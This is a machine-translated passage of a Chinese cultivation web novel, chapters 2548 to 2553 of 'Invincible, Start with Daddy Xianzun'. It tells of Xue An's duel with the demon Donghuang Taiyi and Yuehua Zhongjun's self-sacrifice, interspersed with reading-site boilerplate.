    After all, this little girl looks only six or seven years old, what can she do?


    But when everyone was desperate, the Nine Heavens Profound Girl shouted in surprise.


    "Little Calabash, do you really have a way to deal with this fog?"


    That''s right!


    The speaker was the mysterious little gourd, and she nodded, "It should be possible, but it takes a lot of my energy, so I need..."


    Little Gourd stretched out three fingers, "Need thirty best gems!"


    Before he finished speaking, he saw Lu Yangyan directly open the storage space and poured out at least one hundred top orbs.


    "Have you seen enough of this?"


    Xiao Hulu''s eyes lighted up, and he murmured, "Damn, it seems to be less!"


    Then he nodded, "It''s almost there!"


    As she said, she opened her mouth, and these orbs immediately floated up and flew into her mouth eagerly.


    In the blink of an eye, these hundreds of orbs entered the little gourd''s belly.


    The little gourd patted her belly comfortably, and then took a deep breath, "You guys, please get out of the way, I''m going to work!"


    The Nine Heavens Profound Girl and Yue Qinghuan hurriedly stepped aside.


    But there are many people who disagree, thinking that just a little girl can do anything.


    But in the next second, these people paid the price for their contempt.


    I saw the small gourd take a sharp breath.


    In an instant, with her nostrils as the center, a huge suction burst out, forming a huge vortex.


    Some people close by were directly pulled by the powerful suction, but no one was angry.


    Because at this moment, a strange scene appeared in front of us.


    I saw countless mists being pulled by the vortex, turning into two long white lines, sucked into the belly by the little gourd.


    And this speed is extremely fast, almost in the blink of an eye, the originally thick fog becomes thinner.


    Seeing this scene, the Three Shadow Gods, who originally thought these people would undoubtedly die, were shocked.


    "Where did the little girl dare to ruin the big thing I''m waiting for! It''s really looking for death!" Zuo Ying Shen roared, and then stretched out his tentacles, wanting to kill the little gourd directly.


    But how can everyone let them do what they want.


    The tentacle just halfway, UU reading www.uukanshu. com only heard a cold drink.


    "A trivial evil thing, dare to run wild in front of me?"


    When the words fell, a blast of killing air slashed down, and this thick tentacle broke off at the sound.


    Then Zuo Ying Shen screamed in pain.


    "Who? Who did it?"


    The figure of Yue Shifang appeared before the small gourd who was fully absorbing the mist, and said coldly.


    "it''s me!"


    "You all deserve to die!" The three shadow gods were all furious, and then fell into unfeeling.


    The two sides fought together again.


    At the same time, on the arena, Donghuang Taiyi and Xue An were still in confrontation.


    I saw Donghuang Taiyi with a smile but a smile: "Xue An, do you want to surrender now? Or are you going to struggle to death?"


    Xue An slowly raised his head, his eyes staring at the evil creature in front of him.


    Although the figure is not large, in Xue An''s spiritual thoughts, the image of Donghuang Taiyi is like a demon tree standing on top of the earth, which is chilling.


    But even in the face of such a terrifying scene, Xue An did not flinch at all.


    I saw him breathe out slowly.


    "I don''t choose any, I just want you to die!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 2548 Jedi Counterattack) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2549： 1 word power

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    When the words fell, Xue An''s eyebrows suddenly seeped a drop of extremely red blood.


    As soon as this blood appeared, it began to grow at an alarming rate, and it turned into a swaying red lotus in the blink of an eye.


    It was the Red Lotus secret technique that Xue An hadn''t used for a long time.


    In fact, after proving Dao Immortal Venerable, Xue An has rarely used secret skills.


    After proving the Taoist saint, Xue Anguang can crush everything with her simple strength, and naturally she can''t use the so-called secret skills.


    But today, Xue An did not hesitate to display the red lotus secret technique at the beginning of the game.


    This shows how cautious Xue An is towards Donghuang Taiyi.


    And this is just the beginning. The moment this red lotus takes shape, a tremendous force of causality is injected into it and blends perfectly with it.


    Karma Red Lotus!


    Once upon a time, Xue An''s ultimate move.


    Especially after preaching to the saints, the causal power Xue An can call has reached an incredible state.


    So when the two merged together, the resulting power made the extremely sturdy ring space groan overwhelmed.


    But after seeing this scene, Donghuang Taiyi didn''t even have a trace of nervousness. On the contrary, he was full of playfulness, as if he was looking at a novel toy.


    boom!


    At this moment, a raging flame suddenly rose above the Karma Red Lotus.


    Its flames are almost transparent, and even though they are far apart, they can still feel the scorching heat.


    Only then did Donghuang Taiyi chuckle.


    "It''s kind of interesting, it''s actually a good thing to combine Zhu Rong''s remaining fire with all kinds of sky fires!"


    The strongest blow that assembled the three secret skills of Karma, Red Lotus, and Karma, reached the mouth of the Eastern Emperor Taiyi, but only got a good understatement.


    The indifference and disdain shown in this are enough to make people crazy.


    But Xue An just looked at Donghuang Taiyi on the opposite side coldly, and then took a deep breath and instilled his whole body''s cultivation into it again.


    You can''t be too careful to deal with such an extremely evil thing.


    As for the disdain he showed, Xue An just didn''t see it.


    In an instant, the red lotus began to bloom slowly under the instillation of the majestic cultivation base.


    And at the moment when the lotus flower completely bloomed, Xue An rushed towards the East Emperor Taiyi with the momentum of the thunder.


    This blow can be said to have gathered all the strength of Xue An, and it is the strongest blow he has ever witnessed to a saint.


    Xue An didn''t intend to keep anything. In his opinion, the only way to defeat this evil creature was to complete the effort.


    This is often the case for real masters, and any reservation may lead to cruel failure.


    So Xue An rushed to the East Emperor Taiyi desperately, his eyes full of decisiveness.


    But at this moment, I saw a sardonic smile appearing on the corner of Donghuang Taiyi''s mouth, and then he gave a cold cry.


    "retreat!"


    The voice was indifferent, but it possessed irresistible majesty.


    Honglian, who had rushed not far in front of him, stopped at the sound, and then shattered directly after a loud bang.


    No matter the cause and effect, or the fire of karma, none of them could hold on to this understatement for even a second.


    As for Xue An, he snorted at this moment, and then was smashed back hundreds of meters by an invisible force until he smashed into the barrier formation on the edge of the ring.


    one strike!


    It can''t even be said to be a blow, because Donghuang Taiyi didn''t do anything at all, just drank a backlash.


    Then all of Xue An''s attacks were smashed, and he suffered heavy losses.


    The strength gap shown in this one has been so large that it is desperate.


    Donghuang Taiyi laughed loudly and said in a frantic tone: "Xue An, can you be convinced now?"


    Xue An stood in the void, silent.


    Donghuang Taiyi sneered, "Xue An, I advise you to better not be obsessed and surrender, I can give you a happy life, otherwise you will suffer the most extreme pain today before you can die!"


    "Surrender..." Xue An murmured again.


    "Yes, it''s just surrender! You have also seen that all your efforts are just a joke in front of me. I don''t even need to do anything, just a word can knock you back, so what do you fight with me?" Dong Huang Taiyi said in a leisurely manner.


    Xue An laughed slowly, "You are not invulnerable, otherwise you don''t have to painstakingly arrange to kill me like this, a word can put me to death! So you must have flaws and weaknesses, but I haven''t found it yet!"


    Donghuang Taiyi''s smile gradually became gloomy and cold. "So, do you have to toast and not eat fine wine?"


    "I said, I don''t choose anything, I just want you to die!"


    When the words fell, Xue An reappeared Red Lotus between his eyebrows, and then once again blasted towards the Eastern Emperor Taiyi.


    "Actually, you also know that it''s useless at all, why are you still obsessed with it?" Donghuang Taiyi sighed lightly.


    Then the red lotus stayed in front of the Eastern Emperor Taiyi abruptly, and shattered again.


    But at the moment when the red lotus turned into a **** mist in the sky, a small red sword pierced the space directly, reaching the center of the eyebrows of the Eastern Emperor Taiyi.


    The timing was at its peak.


    As soon as Honglian shattered, Xue An''s sword had arrived.


    But at this moment, the people of Eastern Emperor Taiyi had disappeared in place.


    As soon as Xue An''s Jianjian fell through, he immediately realized something was wrong.


    His reaction was not unpleasant, and almost instantly he changed his sword into a forward thrust.


    But at this moment, an extremely cold drink exploded directly in the ear.


    "kill!"


    boom!


    Xue An felt his heartbeat stagnate in an instant. What was also stagnating was the endless blood in his body The huge powerlessness surged, and Xue An felt a trace of despair.


    At this moment, Xue An''s brows suddenly felt warm.


    The appearance of this warmth is like pressing the play button with one hand, causing the heart that had been stalled to beat again.


    Boom!


    The muffled sound from the depths of the chest broke Xue An''s death, and the blood that had been stagnant flowed quickly.


    Then Xue An retreated in an instant. After a certain distance, he could stand still.


    Looking at him at this moment, his face was as pale as paper, and traces of blood dripped down the corners of his eyes, which was caused by the rupture of the eyeball under the huge pressure just now.


    But even so, Xue An still had no retreat or fear, just staring coldly at the Eastern Emperor Taiyi in the distance.


    Donghuang Taiyi obviously didn''t expect Xue An to get rid of his curse so quickly, so he was taken aback at first, but then even laughed strangely.


    "Jiejie, I almost forgot, there is a woman hiding in the sea of ??your eyebrows that makes me feel incredible. After you die, this woman will be my biggest trophy!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record this (Chapter 2549 Yizhiwei) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2550： From beginning to end, I have not forgotten!

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    Speaking of this, Donghuang Taiyi''s eyes showed a strong color of greed.


    The impression An Yan left on him was too deep.


    He actually defeated his own finger with a strength that was so humble that he could no longer be humble.


    Although it was said that because of the barrier between the two worlds, Eastern Emperor Taiyi''s fingers were only equivalent to the strength of an ordinary saint.


    But that is already the battle ceiling of the heavens.


    It can be said that one finger is no problem for all the strong who crush the heavens.


    At least Xue An felt great pressure at that time.


    Unexpectedly, at this moment, an extremely mysterious aura burst out of An Yan''s body.


    Not only had he smashed his own blow in an instant, it also caused a bit of damage to Yuan Waitian''s body.


    what does that mean?


    It means that this woman is buried in a secret that the Eastern Emperor Taiyi can''t see through.


    And the power and vastness of that breath made him shudder every time he thought of it.


    That''s why he didn''t hesitate to arrange this killing game, one is to completely wipe out Xue An, and the other is to catch An Yan and study it.


    Xue An silently wiped the blood from his face, and then rushed up again.


    It''s useless to talk about it now, and the effort to speak can only make things worse.


    Everything ultimately depends on strength to speak.


    So he didn''t pay attention to Donghuang Taiyi''s clamor at all, but rushed over again, trying to find the flaw.


    One person and one demon started a war on the ring.


    And at the same moment in the stands, the war is also in progress.


    But the situation has changed slightly.


    Different from the all-round suppression at the beginning, the army of a hundred families at this moment has been able to interact with the three shadow gods of the Yin and Yang family.


    Although still at an absolute disadvantage, at least it is no longer the only way to be beaten but unable to pay off.


    And all this is due to the little gourd who is desperately absorbing the mist.


    Everyone knows that as long as this mist is completely eliminated, the advantages of the Yin Yang Family will no longer exist.


    And the Three Shadows God naturally understood this, so he roared and focused his attack on the little gourd.


    But under the protection of Yue Shifang, Jiu Tian Xuan Nu and others, their attacks could not touch the little gourd at all.


    Seeing the fog getting thinner and thinner, the Three Shadow Gods are all a little anxious.


    Blocking these hundreds of armies was an order issued by the Eastern Emperor. If it fails, the consequences will be unimaginable.


    Therefore, the three shadow gods looked at each other, and then the left and right shadow gods raised their heads and screamed in pain.


    Accompanied by the roar, their bodies exploded directly, turned into a filthy blood mist, and merged into the body of the Profound Shadow God.


    In an instant, the originally sturdy body of the Profound Shadow God swelled rapidly, reaching an unbelievable height.


    Not only that, but countless eyes grew on the sticky body, which made people feel nauseous just looking at it.


    After fusing into one body, the Profound Shadow God suddenly opened his blood basin and vomited countless black mist.


    As soon as the black mist came out, it seemed to cover the sky and the sky quickly dimmed.


    Everyone only felt that their own pressure had suddenly increased, and the aura of power that had just recovered a little later became stagnant.


    But this is just the beginning.


    At this moment, only an exclamation came.


    "Gourd, what''s wrong with you?"


    Everyone turned their heads and looked around, but saw that the little gourd, who had been madly absorbing the mist, had fallen to the ground at this moment.


    Ao Shu hurriedly rushed to pick her up, and then looked at her at this time, her small face turned black, her eyes closed tightly, her whole body stiff, she was actually poisoned.


    Cha Wenliang also rushed to the front at this time, and after a short observation, he said in disbelief, "She is poisoned, but the problem is that she, who is not a human or a demon, is still poisoned?"


    Cha Wenliang was simply puzzled.


    But at this time he couldn''t help thinking.


    Because at this moment, the black mist has already covered the entire stand.


    Many people feel short of breath, and their cultivation is also falling crazily.


    Some people even fell directly to the ground, as if they were already poisoned.


    The situation became extremely critical in an instant.


    Especially now the only little gourd that can absorb the black mist has also fallen, making everyone''s already heavy hearts even more desperate.


    Seeing this scene, Profound Shadow God laughed wildly.


    "It''s useless, this black fog is the natal skill of the three of me. It is extremely poisonous. If it is contaminated, it will be incurable. You will accept your fate today!"


    After hearing this, many people''s faces appeared desperate.


    But helplessly, with the suppression of the black mist, their strength was no longer able to respond to the clamor of the Profound Shadow God.


    Do so many of you have to explain here today?


    Just when this thought came up in everyone''s minds.


    A figure suddenly rushed out of the Yin Yang family camp behind the Profound Shadow God, and rushed behind the Profound Shadow God at an extremely fast speed.


    Immediately afterwards, a round of Huayue suddenly appeared, and then slammed into the body of the Profound Shadow God.


    Boom!


    Accompanied by a loud noise, the Profound Shadow God uttered an extremely painful roar.


    "Yuehua Zhongjun, you dare to betray the teacher!"


    That''s right!


    The man who did it was Yuehua Zhongjun, and saw him standing in place untouched, speaking softly.


    "My teacher''s door is long gone, and the current Yin Yang family is nothing more than a den of evil things! So, you are all going to die!"


    With that said, another nine rounds of Huayue appeared on the top of Yuehua Zhongjun''s head, and Yuehua Zhongjun picked it up with his hand, picked the moon with one hand, and hit the Profound Shadow God one by one.


    Because there was no precaution at the beginning, the Profound Shadow God was successfully attacked by the Yuehua Zhongjun, so at this moment, he only has the power to parry and has no power to fight back.


    In addition, the Huayue of the middle of the moon, Hua Yue, as if he didn''t need money, rushed at him frantically.


    This caused the Profound Shadow God to roar again and again, but there was no way at all.


    Seeing this scene, everyone in the Hundred Schools was stunned.


    At this moment, I heard Yuehua Zhongjun shouting: "What are you doing in a daze? Don''t leave now!"


    As he said, there was another round of Huayue smashed down.


    boom!


    The black fog that had entangled the people of the Hundreds of Schools, making them at no control at all, melted like ice and snow in front of Huayue this round, and then a big hole appeared.


    "Go!"


    Everyone woke up like a dream, and then rushed towards the passage.


    Seeing this scene, UU Reading , the Profound Shadow God was extremely angry, "Mr. Yuehua, you have ruined Lord Donghuang, haven''t you thought about the consequences?"


    Yuehua Zhongjun''s face was pale, but his eyes were as bright as snow, "You are wrong, Lord Eastern Emperor is actually dead long ago, and now occupying the skin is nothing more than a dirty evil thing!"


    "Ho Ho Ho Ho!" The Profound Shadow God roared again and again.


    At this moment, all the Huayue in the hands of Yuehua Zhongjun had been smashed.


    Such a huge amount of consumption in a short period of time made him faltered, and his mouth and nose began to bleed out.


    Seeing this, the God of Profound Shadow finally caught the opportunity, opened his blood basin and bit at the middle of Yuehua.


    "Be careful!" Yue Shifang exclaimed, who was urging the members of the hundreds of families to move to the passage.


    Jun Yuehua turned his head and smiled at him, "Thank you!"


    Having said that, his whole body suddenly exploded into the extremely bright moonlight, and then rushed towards the mouth of the Profound Shadow God.


    Before leaving, his voice reached Yue Shifang''s ears.


    "Please tell Xue An, if he has a chance to see Jingshu''s descendants again, tell her... I have not forgotten from beginning to end!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    For the convenience of reading next time, you can click "Favorites" below to record this time (I haven''t forgotten Chapter 2550 from beginning to end!) Read the record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2551： Heavens secret has been chaotic war started

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    boom!


    Accompanied by a loud noise, endless Yuehua exploded, and instantly drowned this Profound Shadow God.


    "Blast your body, Zhongjun Yuehua, are you crazy?"


    The horrified roar of the God of Dark Shadow came from the radiant light.


    "I''m not crazy, all I want is for you to die!" Yuehua Zhongjun''s voice came.


    Even at this time, his voice was still indifferent, and even brought an inexplicable relief.


    And with his words, the bright moonlight broke out again.


    "No!" The Profound Shadow God howled, but soon the scream stopped abruptly.


    What disappeared together was the aura on the body of Yuehua Zhongjun.


    Feeling this change, everyone was silent.


    Yue Shifang couldn''t help but sighed, "It turns out...your last round of Huayue is yourself!"


    The words are full of admiration.


    At the same time, but seeing that endless moonflower suddenly spread like a stormy wave, the fog disappeared wherever it passed.


    Then the scene on the ring appeared in front of everyone.


    I saw that the originally neat and firm ring was now riddled with holes, only Donghuang Taiyi was standing in the air, and there seemed to be no change.


    But at this moment, another bright brilliance rushed towards him.


    But in the next second, this brilliance was withdrawn again, and then staggered to the ground.


    It''s not Xue An and who is it.


    It''s just that Xue An at this moment has no longer the demeanor of a humble gentleman before.


    The original white clothes had been dyed red with blood, his eyes were even more bleak, and a scar swept up from the corner of his eye, wiping his temple and concealing it in his hair.


    This position can be described as extremely dangerous, and a little carelessness may cause serious injuries.


    Therefore, Yue Qinghuan, Ao Shu and others couldn''t help screaming when they saw this.


    "Xue An!"


    "Brother Ang!"


    In the shout, Xue An seemed unconscious, still standing there, staring coldly at Donghuang Taiyi who was hanging in the air, without even lifting his eyelids.


    On the contrary, it was the Eastern Emperor Taiyi who raised her head in time, and smiled at the people of the Hundred Houses.


    "It seems that some of my trash men failed in the end, but that''s okay, anyway, the secret is now in chaos, and it just happens to be able to kill you all!"


    It was not words that responded to him, but Yue Shifang''s head-on blow.


    Although Yue Shifang, who was once ranked as the Supreme Supreme, was seriously injured and stretched for tens of thousands of years, he recovered most of his strength soon after he recovered.


    At least now, he has re-entered the state of supremacy.


    Coupled with his deep hatred of evil things, so one move is a strong killer move.


    boom!


    However, seeing the air of fighting falling from the sky, it turned into a radiant seal, and he smashed his head against the Eastern Emperor Taiyi.


    Wherever he went, the space was all turned into powder, showing the prosperous military power.


    Speaking of which, this is the first time that Yue Shifang has shown his full strength before and after reappearing in the world.


    This alone caused many people to take a breath.


    The prestige of the military is so terrifying.


    In particular, what Yue Shifang practiced was the most majestic righteous art of war of the military strategist, and the righteousness of the heavens and the earth was gathered during the shots, which happened to restrain the evil things such as Donghuang Taiyi.


    But even so, Donghuang Taiyi didn''t dodge anything, but sneered slightly.


    "Yue Shifang, if you can regain your strength in your heyday, this emperor may still be afraid of you by three points, but with you now, what can you use to fight me?"


    When the words were over, Dong Huang Taiyi flicked his finger gently.


    Bang!


    The soldier seal that just flew above the head of Eastern Emperor Taiyi showed cracks, and then burst into pieces.


    The strength shown by this one alone is enough to shock the four.


    Yue Shifang''s face turned pale, he snorted, and then took a few steps back.


    "Brother! Are you okay!" Yue Qinghuan asked immediately with concern.


    Yue Shifang waved his hand, and then stared at Donghuang Taiyi in the distance.


    "Emperor Taiyi, I just ask you, did you initiate the chaos that happened ten thousand years ago?"


    "What about it?" Donghuang Taiyi sneered.


    Yue Shifang nodded, "Just admit it!"


    Speaking of this, he took a deep breath and shouted: "Friends of Taoism, this monster is too strong, far from being able to deal with one person by one. I need to work together before we can kill the monsters! Wish you follow me! , Please get up!"


    Yue Shifang rose into the sky and rushed towards the top of the ring.


    Behind him, Mo Kong, the giant of the Mo family, smiled.


    "Since Patriarch Yue has such arrogance, my Mo family naturally has to help!"


    This Mohist tycoon, who has always been a reticent image, was rarely talkative at this moment, and then led the Mohist''s three hundred disciples into the sky.


    Not only him, but the two masters of Confucianism, the two heads of Taoism, the Fajia, the peasant family, the Nine Heavens Profound Girl, the witch Gu army, and even Lu Xiaoya, who just showed the statue of Zhenwu, rushed to the arena.


    Seeing this scene, Yang Zhu''s successor Yang Qin sighed helplessly.


    "Damn, I really don''t want to do it!"


    Despite this, he still rushed to the ring with him.


    Of course, he didn''t do this because he wanted to help everyone.


    It was completely what Donghuang Taiyi just said and understood that he wanted to catch everyone present in one fell swoop.


    Which naturally also includes this Yang Qin.


    For this reason, Yang Qin, who had always been self-interested, had no choice but to do it.


    In an instant, the top of the ring became a gathering place for the heroes.


    The first thing Yue Qinghuan did after he got on stage was to rush to Xue An and asked anxiously.


    "How? It''s okay!"


    Xue An wiped the blood from the corner of his mouth and said softly: "I''ve been hurt a bit, but it''s not a big problem!"


    Having said that, he would step forward again.


    Upon seeing this, Yue Qinghuan immediately stopped and said: "You should rest here first, and leave the rest to my brother and everyone!"


    Xue An shook his head, "It''s useless, I just tried it. This guy is almost incomprehensible in this world, and all the methods of attack have no effect on him!"


    Yue Qinghuan''s face turned pale, and he was obviously shocked by Xue An''s unprecedented solemn tone, "Then...what should I do?"


    Xue An took a deep breath and looked at Donghuang Taiyi who was being besieged by the powerful from all quarters, but still calm and relaxed ~ www.novelhall.com~, a resolute color appeared in his eyes.


    "For today''s plan, I have to keep trying to find out his weaknesses and flaws! And this task, only I can do it!"


    Yue Qinghuan just wanted to say something, just at this moment, only heard a sneer from Donghuang Taiyi from above the ring.


    "Do you dare to make trouble in front of me?"


    When the words fell, the besieged crowd was directly shaken out by an invisible force.


    Yue Shifang, Confucianism, Taoism and others, who were the first to bear the brunt, even snorted, obviously already injured.


    At this time, everyone''s heart fell to the bottom.


    You must know that all the elites of the entire Tianwaitian are gathered in the battlefield at this moment.


    If even these people can''t deal with Donghuang Taiyi, then there really is no way.


    Is it that so many people can just sit back and wait for death?


    This idea flashed in the hearts of everyone.


    At this moment, only Xue An yelled: "He is now in an invincible state. Any attack will not work on him. The only way is to try out his flaws little by little!"


    "Yue Shifang, let you cultivate for one use!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2551 The Heaven''s Secret Has Been Opened), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2552： Fear

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    When the words fell, Xue An flew up again, and Yue Shifang reacted extremely quickly, spitting out a ball of light directly.


    "then!"


    The ball of light flew towards Xue An at an extremely fast speed, and then sank into the back of his heart.


    Xue An''s complexion showed a blush, and then rushed to Donghuang Taiyi again.


    Dong Huang Taiyi looked at Xue An who was rushing over with a smile.


    "Xue An, you are really indomitable, but what you just said is correct. I am indeed in an invincible state, but your idea of ??finding a flaw is simply wishful thinking, because I...have no weaknesses! "


    After saying these words, a black light appeared in Donghuang Taiyi''s eyes.


    Then Xue An, who had just rushed to the front, retreated at a faster speed, and a touch of abnormal black appeared on his face.


    Seeing this scene, there was a commotion among the crowd.


    But Xue An waved his hand, indicating that he was okay.


    But at this moment, Xue An also felt a touch of shock and confusion in his heart.


    This is already the first type of ability displayed by Donghuang Taiyi?


    In fact, from the beginning to the present, Xue An has charged several times, and Donghuang Taiyi''s countermeasures are different, but without exception, they have reached an extremely powerful situation.


    But Xue An didn''t believe anyone could really reach the pinnacle in all aspects.


    Still the same sentence, if Donghuang Taiyi is really strong to that point, he doesn''t have to work hard to arrange this killing game, how good is it to do it directly?


    So Xue An wanted to find out what he was best at.


    After all, only in this way can he snoop out his ontological information and find out his flaws.


    But could it be said that he didn''t even have the qualifications to let him use the strongest ultimate move?


    This is the first time Xue An has doubted his own strength.


    At this time, the Eastern Emperor Taiyi looked at Xue An playfully.


    "How? Do you feel a little skeptical about life? To be honest, you should give up honestly, because my existence is not understandable by you. I will still say that, as long as you honestly surrender, I can give you a happy one!"


    As soon as his voice fell, Xue An suddenly said in a deep voice: "You are afraid!"


    These four words are like a horror, making everyone terrified.


    Donghuang Taiyi was even taken aback, Xuan even laughed and said: "Dread? I''m invincible in the world, do I still need to be afraid?"


    "As you said, with your current strength, if you want to kill me, it should be a very simple thing, but you have never done it. Instead, you tried to persuade me again and again, so..."


    Xue An looked at Donghuang Taiyi with a stark gaze, "Although the secrets of the day are in chaos, you still don''t have the full confidence not to disturb certain existences. That''s why you want to beat me to despair, forcing me to surrender to you, and then again. Let me do it myself to kill myself, right?"


    Donghuang Taiyi fell silent, but Xuan even sneered: "Yes! To be honest Xue An, you are indeed much smarter than I thought, but what can be done if things are as you said?"


    Xue An''s complexion gradually turned ruddy, "With your strength, what are you afraid of?"


    Donghuang Taiyi suddenly became angry, "Who said I was afraid?"


    "Oh?" This time I changed to Xue An, calmly, "Then what do you mean now?"


    "I just don''t want to cause trouble! And Xue An, do you really think I dare not kill you? Although you have the backstage support, I do too!"


    As soon as this sentence was uttered, Dong Huang Taiyi was shocked and closed his mouth immediately.


    But this was enough, and Xue An immediately grasped the key.


    "Backstage? What kind of backstage? And what is your backstage?"


    But the Eastern Emperor Taiyi became angry after leaking such important information, and he would not answer Xue An''s questions at this moment, but took the initiative to kill Xue An.


    His speed is extremely fast, and he has even reached the point where he can reach his body.


    The nearby Yue Shifang and others were unable to react, and watched Donghuang Taiyi slay towards Xue An.


    "No!" Yue Qinghuan screamed, tears filled his eyes instantly.


    In her eyes, this young man who moved her and made her dream lingering, even when faced with such a tyrannical opponent, his figure was still as tall as a sword.


    But the more so, the more painful her heart.


    What could be more painful than watching your beloved die in front of you?


    As for Ao Shu, Meng Zhu Nasha and others, they burst into tears.


    But at this moment, only a golden light flashed by, and then Donghuang Taiyi stepped back in horror.


    "How is it possible? How could you have this?" Dong Huang Tai asked sharply, but his eyes were full of horror.


    I saw that Xue An''s eyes had a faint golden light at this moment.


    And it was this humble golden light that directly horrified Donghuang Taiyi.


    After seeing the golden light, Jiu Tian Xuannv felt a great shock in her heart.


    Because she has recognized what it is.


    Isn''t this the ray of light contained in the pill that I gave to Xue An at the beginning?


    But I didn''t expect Xue An to actually use it at this time.


    And Donghuang Taiyi was obviously extremely jealous of this golden light.


    Suddenly, Jiu Tian Xuannv''s thoughts turned, and she couldn''t help but understand something.


    And Yang Jian on the side also asked softly at this time: "Is this... the divine light that saved you back then?"


    "Yeah!" The Nine Heavens Profound Girl nodded.


    Yang Jian stopped talking.


    As smart as he is, he naturally understands what this means.


    At the same time, facing Donghuang Taiyi''s question, Xue An smiled faintly.


    "It''s really rare, do you finally feel scared now?"


    This sentence is so familiar, because this is what Donghuang Taiyi personally said to Xue An before It is full of great irony to say it from Xue An at this moment.


    Donghuang Taiyi''s complexion was uncertain, and then gradually calmed down.


    "Yes, I am really scared, but Xue An, the only thing you can rely on right now is this residual golden light. As long as it disperses, it will be the moment when you and all these people fall! And I believe this should be It will come soon."


    really.


    At this moment, the golden light in Xue An''s eyes was dimmer than just now.


    There was a commotion in the audience.


    And just outside the battlefield at the same time, there was also a commotion.


    Because the battlefield at this moment has been completely closed, the outside world can''t detect the situation inside.


    This unprecedented scene made many people waiting in the square stare at each other, wondering what happened.


    And in the midst of this restlessness, a handsome man, but there is always a cynicism between his eyebrows, appeared on the square, sweating profusely.


    When he raised his eyes to see the upright statue of Donghuang Taiyi, he couldn''t help but blurt out.


    "Fuck, what a big evil thing!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2552 Fear Ruyuan), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2553： Outside restlessness

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    After saying this, the person was shocked and closed his mouth quickly, then looked around with some guilty conscience, and found that no one had noticed him, and he took a breath.


    But immediately he frowned and whispered softly: "But Xue An, such a big evil thing, can''t be ignorant, so why does he even enter the battlefield?"


    Just as this person was puzzled, the sound of discussion not far away caught his attention.


    I saw a group of fierce, full-faced men surrounded together, whispering something.


    "It''s really weird, it''s clear that the main village master was so good to stand there just now, why did he disappear in a blink of an eye?"


    "Who said no, I''m also wondering, and just now I asked Dazhaizhu for instructions. I wanted to know what we should do later, but the Dazhaizhu simply ignored me and just stood there blankly. It''s as if you have lost your soul."


    Someone slapped the thigh and agreed: "Yes, I also feel this way! I always feel that since the battlefield is closed, the master of Dazhai has become very weird."


    Master of Great Wall? Suddenly disappeared?


    The man caught these useful information from the words of these people, but he didn''t take it too seriously.


    But at this moment, the next conversation of these people made the man''s heart move slightly.


    "Actually, it��s not just one or two days since the master of Dazhai. He was like a different person a few days ago. Not only did he suddenly control us strictly, he also asked us to observe the people around us, if we find any evil things. Report to him immediately!"


    When the mob said this, the expression on his face obviously became a little unnatural. "Let��s not say what the reason for this order is. The point is that the **** is a evil thing. With our strength, we dare to talk to others. Is it a challenge?"


    These words attracted the unanimous approval of the mob.


    "Not only that, haven''t you found that the master of the Great Wall has been surprisingly good to that woman recently? Not only can you no longer hear the beating and scolding, you don''t even need her to wait for the bed at night! You must know the Lord of the Great Wall. It''s not like this at all!"


    "I also have this feeling. Didn''t I see that woman become stubborn at the main house owner? Even if the main house owner suddenly disappeared this time, she was the one who was the most anxious, and she was still full of the square to look for it. It was simply impossible to happen in the past!"


    These comments made the man who was about to leave immediately stopped.


    Because although he has always been foolish, his mind is extremely keen.


    In particular, the situation described by these people is almost like a person''s style of doing things.


    And the next sentence directly confirmed his guess.


    "The funniest thing is not what you said. Just before coming to this square, the master of the Great Wall actually prepared us to guard against evil rebellions. If we find it, we must eliminate it as soon as possible. middle."


    The mob sneered disdainfully, "This is the territory of the Yin Yang Family, and the place where the Hundred Families Conference is held. I don''t believe that evil things can have such courage to come and go wild in this place!"


    "The point is that this is not something we should take care of. To be honest, the master of the great village has been strictly controlling and not even letting us drink. His mother is gone!"


    This sentence was like a fuse, which instantly detonated the emotions of these thugs.


    Don''t look at them being respectful and respectful when facing Dazhaizhu, and they don''t even dare to put a fart.


    But now the great village master started complaining as soon as he was away.


